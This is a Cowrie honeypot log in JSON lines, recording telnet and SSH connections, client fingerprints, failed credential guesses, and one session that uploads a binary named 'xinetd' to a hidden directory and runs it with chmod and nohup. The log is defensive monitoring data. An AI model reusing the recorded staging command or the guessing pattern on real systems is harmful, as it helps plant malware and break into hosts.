{"eventid":"cowrie.session.closed","duration":31.319307565689087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:32.639645Z","src_ip":"74.208.239.44","session":"c0c20323bbb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.746455192565918,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:32.713907Z","src_ip":"161.97.105.174","session":"d1ca5d49c1c6","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:32.754579Z","src_ip":"220.247.224.226","session":"18743b27cd72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.463658571243286,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:33.089571Z","src_ip":"68.183.198.12","session":"11bf1b8a0ed7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftest","password":"ftest","message":"login attempt [ftest/ftest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:33.705501Z","src_ip":"220.247.224.226","session":"18743b27cd72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":42414,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cccd06818bb","protocol":"telnet","message":"New connection: 64.227.101.30:42414 (10.17.0.5:23) [session: 9cccd06818bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:34.032511Z"}
{"eventid":"cowrie.session.closed","duration":37.04272437095642,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:34.141880Z","src_ip":"64.227.101.30","session":"44fe897614b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.81687307357788,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:34.285104Z","src_ip":"64.227.101.30","session":"7a0c9fb5e6e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.157536745071411,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:34.442244Z","src_ip":"64.227.101.30","session":"b7d8a1d8e317","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:34.938068Z","src_ip":"220.247.224.226","session":"18743b27cd72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.001142024993896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:35.733917Z","src_ip":"74.208.239.44","session":"8c472595a1b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":44090,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1f91fbbc282","protocol":"telnet","message":"New connection: 64.227.101.30:44090 (10.17.0.5:23) [session: e1f91fbbc282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:36.072906Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":41120,"dst_ip":"10.17.0.5","dst_port":23,"session":"171237a63a36","protocol":"telnet","message":"New connection: 64.227.101.30:41120 (10.17.0.5:23) [session: 171237a63a36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:36.708571Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":46918,"dst_ip":"10.17.0.5","dst_port":23,"session":"f374d9fcecc7","protocol":"telnet","message":"New connection: 64.227.101.30:46918 (10.17.0.5:23) [session: f374d9fcecc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:40.811574Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":50836,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3e353395ad3","protocol":"telnet","message":"New connection: 64.227.101.30:50836 (10.17.0.5:23) [session: e3e353395ad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:47.720629Z"}
{"eventid":"cowrie.session.file_upload","filename":"xinetd","outfile":"var/lib/cowrie/downloads/b9e643a8e78d2ce745fbe73eb505c8a0cc49842803077809b2267817979d10b0","shasum":"b9e643a8e78d2ce745fbe73eb505c8a0cc49842803077809b2267817979d10b0","message":"SFTP Uploaded file \"xinetd\" to var/lib/cowrie/downloads/b9e643a8e78d2ce745fbe73eb505c8a0cc49842803077809b2267817979d10b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:48.494291Z","src_ip":"103.75.84.237","session":"c40da2958524","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:49.306546Z","src_ip":"103.75.84.237","session":"c40da2958524","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"chmod +x ./.8692145138047565236/xinetd;nohup ./.8692145138047565236/xinetd  &","message":"CMD: chmod +x ./.8692145138047565236/xinetd;nohup ./.8692145138047565236/xinetd  &","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:49.310279Z","src_ip":"103.75.84.237","session":"c40da2958524","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/bfb5f93115f88183ee31f62f37090736e5e0db3ee0cb8d66c007c7445fc8e992","size":138,"shasum":"bfb5f93115f88183ee31f62f37090736e5e0db3ee0cb8d66c007c7445fc8e992","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/bfb5f93115f88183ee31f62f37090736e5e0db3ee0cb8d66c007c7445fc8e992 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:49.566983Z","src_ip":"103.75.84.237","session":"c40da2958524","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"240.7","message":"Connection lost after 240.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:49.572777Z","src_ip":"103.75.84.237","session":"c40da2958524","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.86189842224121,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:50.181236Z","src_ip":"64.227.101.30","session":"c507d9c21ccf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.637306451797485,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:52.215934Z","src_ip":"64.227.101.30","session":"ee62655cc9a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.14147353172302,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:53.217066Z","src_ip":"64.227.101.30","session":"b4f1580cf973","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.47278904914856,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:54.721577Z","src_ip":"161.97.105.174","session":"14c45bc02b56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.78450036048889,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:54.800217Z","src_ip":"64.227.101.30","session":"27979e1792fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.02335333824158,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:55.940701Z","src_ip":"64.227.101.30","session":"5f49ccbe5ca7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":55768,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8ceb8b47d38","protocol":"telnet","message":"New connection: 64.227.101.30:55768 (10.17.0.5:23) [session: a8ceb8b47d38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:56.614769Z"}
{"eventid":"cowrie.session.closed","duration":43.63710331916809,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:56.789249Z","src_ip":"68.183.198.12","session":"556108c141ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.2416934967041,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:58.080721Z","src_ip":"64.227.101.30","session":"5d52ed8315a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.677526235580444,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:59.973383Z","src_ip":"161.97.105.174","session":"46adf49fe21f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.49072861671448,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:01.010269Z","src_ip":"64.227.101.30","session":"f0c687244c59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":57204,"dst_ip":"10.17.0.5","dst_port":23,"session":"a04840b9e8cc","protocol":"telnet","message":"New connection: 64.227.101.30:57204 (10.17.0.5:23) [session: a04840b9e8cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:01.124481Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.174","src_port":46272,"dst_ip":"10.17.0.5","dst_port":22,"session":"8acdd69f3568","protocol":"ssh","message":"New connection: 209.99.189.174:46272 (10.17.0.5:22) [session: 8acdd69f3568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:02.186162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:02.191507Z","src_ip":"209.99.189.174","session":"8acdd69f3568","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:02.321950Z","src_ip":"209.99.189.174","session":"8acdd69f3568","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":47576,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bb0463a47f7","protocol":"telnet","message":"New connection: 68.183.198.12:47576 (159.203.135.109:23) [session: 5bb0463a47f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:02.385170Z"}
{"eventid":"cowrie.login.failed","username":"tester","password":"password123","message":"login attempt [tester/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:02.875418Z","src_ip":"209.99.189.174","session":"8acdd69f3568","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:04.013219Z","src_ip":"209.99.189.174","session":"8acdd69f3568","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":59412,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed61b0f881a6","protocol":"telnet","message":"New connection: 64.227.101.30:59412 (10.17.0.5:23) [session: ed61b0f881a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:04.088563Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":48066,"dst_ip":"159.203.135.109","dst_port":23,"session":"0177b5c77efe","protocol":"telnet","message":"New connection: 68.183.198.12:48066 (159.203.135.109:23) [session: 0177b5c77efe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:04.188658Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":58948,"dst_ip":"10.17.0.5","dst_port":23,"session":"81c032e5d5cd","protocol":"telnet","message":"New connection: 64.227.101.30:58948 (10.17.0.5:23) [session: 81c032e5d5cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:05.213302Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":33158,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3935ec41b78","protocol":"telnet","message":"New connection: 64.227.101.30:33158 (10.17.0.5:23) [session: d3935ec41b78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:07.096497Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":33204,"dst_ip":"10.17.0.5","dst_port":23,"session":"001a52235ff3","protocol":"telnet","message":"New connection: 64.227.101.30:33204 (10.17.0.5:23) [session: 001a52235ff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:07.212302Z"}
{"eventid":"cowrie.session.closed","duration":37.06570386886597,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:09.434740Z","src_ip":"161.97.105.174","session":"85119a24b86e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.596747398376465,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:10.305195Z","src_ip":"64.227.101.30","session":"171237a63a36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.99773073196411,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:11.226085Z","src_ip":"64.227.101.30","session":"d62fd9bcc7fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52176,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bcd874adc23","protocol":"telnet","message":"New connection: 161.97.105.174:52176 (159.203.135.109:23) [session: 0bcd874adc23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:11.407362Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":35792,"dst_ip":"10.17.0.5","dst_port":23,"session":"86efc07d6044","protocol":"telnet","message":"New connection: 64.227.101.30:35792 (10.17.0.5:23) [session: 86efc07d6044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:12.472462Z"}
{"eventid":"cowrie.session.closed","duration":41.172735929489136,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:13.187166Z","src_ip":"64.227.101.30","session":"5caa1a453ac1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":47616,"dst_ip":"10.17.0.5","dst_port":22,"session":"7251a7a1cb36","protocol":"ssh","message":"New connection: 103.170.173.26:47616 (10.17.0.5:22) [session: 7251a7a1cb36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:13.309002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:13.315324Z","src_ip":"103.170.173.26","session":"7251a7a1cb36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:13.584960Z","src_ip":"103.170.173.26","session":"7251a7a1cb36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"sysuser","message":"login attempt [admin/sysuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:14.696085Z","src_ip":"103.170.173.26","session":"7251a7a1cb36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":35228,"dst_ip":"10.17.0.5","dst_port":23,"session":"96ae69fb0031","protocol":"telnet","message":"New connection: 64.227.101.30:35228 (10.17.0.5:23) [session: 96ae69fb0031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:15.293653Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:15.971408Z","src_ip":"103.170.173.26","session":"7251a7a1cb36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.29720449447632,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:16.369962Z","src_ip":"64.227.101.30","session":"e1f91fbbc282","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.70631766319275,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:16.738719Z","src_ip":"64.227.101.30","session":"9cccd06818bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":37954,"dst_ip":"10.17.0.5","dst_port":23,"session":"1acaff8169e8","protocol":"telnet","message":"New connection: 64.227.101.30:37954 (10.17.0.5:23) [session: 1acaff8169e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:19.172621Z"}
{"eventid":"cowrie.session.closed","duration":38.38059616088867,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:19.192036Z","src_ip":"64.227.101.30","session":"f374d9fcecc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":57010,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff2b6ac55931","protocol":"telnet","message":"New connection: 161.97.105.174:57010 (159.203.135.109:23) [session: ff2b6ac55931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:24.377608Z"}
{"eventid":"cowrie.session.closed","duration":41.649699687957764,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:29.370209Z","src_ip":"64.227.101.30","session":"e3e353395ad3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":55340,"dst_ip":"10.17.0.5","dst_port":23,"session":"046116d6628d","protocol":"telnet","message":"New connection: 64.227.101.30:55340 (10.17.0.5:23) [session: 046116d6628d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:29.656974Z"}
{"eventid":"cowrie.session.closed","duration":0.00541234016418457,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:29.662195Z","src_ip":"64.227.101.30","session":"046116d6628d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.164.216.95","src_port":2226,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f1b286b68ed","protocol":"telnet","message":"New connection: 46.164.216.95:2226 (159.203.135.109:23) [session: 7f1b286b68ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:32.071535Z"}
{"eventid":"cowrie.session.closed","duration":37.68937921524048,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:34.303977Z","src_ip":"64.227.101.30","session":"a8ceb8b47d38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":44032,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bf6a3ae5273","protocol":"telnet","message":"New connection: 64.227.101.30:44032 (10.17.0.5:23) [session: 6bf6a3ae5273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:35.893330Z"}
{"eventid":"cowrie.session.closed","duration":1.5423908233642578,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:37.435638Z","src_ip":"64.227.101.30","session":"6bf6a3ae5273","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.63227200508118,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:40.845428Z","src_ip":"64.227.101.30","session":"81c032e5d5cd","protocol":"telnet"}
